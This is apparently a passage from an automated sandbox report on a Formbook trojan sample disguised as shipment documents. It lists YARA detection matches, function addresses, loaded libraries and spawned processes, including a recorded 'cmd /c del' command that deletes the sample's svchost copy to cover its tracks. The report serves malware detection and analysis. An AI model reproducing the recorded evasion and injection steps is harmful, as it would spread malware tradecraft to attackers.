          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5FFB14_2_02E5FFB1
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5FF094_2_02E5FF09
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5FCF24_2_02E5FCF2
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E19C324_2_02E19C32
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DBFDC04_2_02DBFDC0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E57D734_2_02E57D73
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA3D404_2_02DA3D40
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E51D5A4_2_02E51D5A
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AE0274_2_024AE027
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AE13D4_2_024AE13D
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AD5634_2_024AD563
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02499E4B4_2_02499E4B
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02499E504_2_02499E50
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024ADE6D4_2_024ADE6D
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02492FB04_2_02492FB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024ADC624_2_024ADC62
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AEDCE4_2_024AEDCE
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02492D904_2_02492D90
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5A0364_2_02C5A036
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5B2324_2_02C5B232
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C55B304_2_02C55B30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C55B324_2_02C55B32
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C510824_2_02C51082
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C589124_2_02C58912
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5E5CD4_2_02C5E5CD
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C52D024_2_02C52D02
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: String function: 00445975 appears 65 times
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: String function: 0041171A appears 37 times
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: String function: 0041718C appears 45 times
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: String function: 0040E6D0 appears 35 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03887E54 appears 111 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038AEA12 appears 86 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B970 appears 280 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038BF290 appears 105 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03875130 appears 58 times
          Source: C:\Windows\SysWOW64\help.exeCode function: String function: 02E1F290 appears 105 times
          Source: C:\Windows\SysWOW64\help.exeCode function: String function: 02D8B970 appears 275 times
          Source: C:\Windows\SysWOW64\help.exeCode function: String function: 02DE7E54 appears 102 times
          Source: C:\Windows\SysWOW64\help.exeCode function: String function: 02DD5130 appears 58 times
          Source: C:\Windows\SysWOW64\help.exeCode function: String function: 02E0EA12 appears 86 times
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4084 -s 7096
          Source: Export Shipment Documents 72335.exe, 00000000.00000003.1439553526.00000000046D3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Export Shipment Documents 72335.exe
          Source: Export Shipment Documents 72335.exe, 00000000.00000003.1443724257.000000000487D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Export Shipment Documents 72335.exe
          Source: Export Shipment Documents 72335.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.2736322839.000000000D654000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000003.00000002.2325642731.0000000010D87000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: Export Shipment Documents 72335.exe PID: 7404, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: svchost.exe PID: 7472, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: help.exe PID: 7516, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: explorer.exe, 0000000D.00000002.2718527037.0000000007B87000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;.VBp
          Source: classification engineClassification label: mal100.troj.evad.winEXE@10/8@5/1
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.dbJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
          Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4084
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeFile created: C:\Users\user\AppData\Local\Temp\partersJump to behavior
          Source: C:\Windows\SysWOW64\help.exeProcess created: C:\Windows\explorer.exe
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCommand line argument: Wu0_2_0040D7F0
          Source: Export Shipment Documents 72335.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: Export Shipment Documents 72335.exeReversingLabs: Detection: 36%
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeFile read: C:\Users\user\Desktop\Export Shipment Documents 72335.exeJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\Export Shipment Documents 72335.exe "C:\Users\user\Desktop\Export Shipment Documents 72335.exe"
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Export Shipment Documents 72335.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\help.exe "C:\Windows\SysWOW64\help.exe"
          Source: C:\Windows\SysWOW64\help.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4084 -s 7096
          Source: C:\Windows\SysWOW64\help.exeProcess created: C:\Windows\explorer.exe explorer.exe
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Export Shipment Documents 72335.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\help.exe "C:\Windows\SysWOW64\help.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"Jump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: wsock32.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: winmm.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
          Source: C:\Windows\SysWOW64\help.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: aepic.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: twinapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dxgi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dwmapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ninput.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: slc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: starttiledata.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: usermgrcli.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: idstore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.applicationmodel.dllJump to behavior
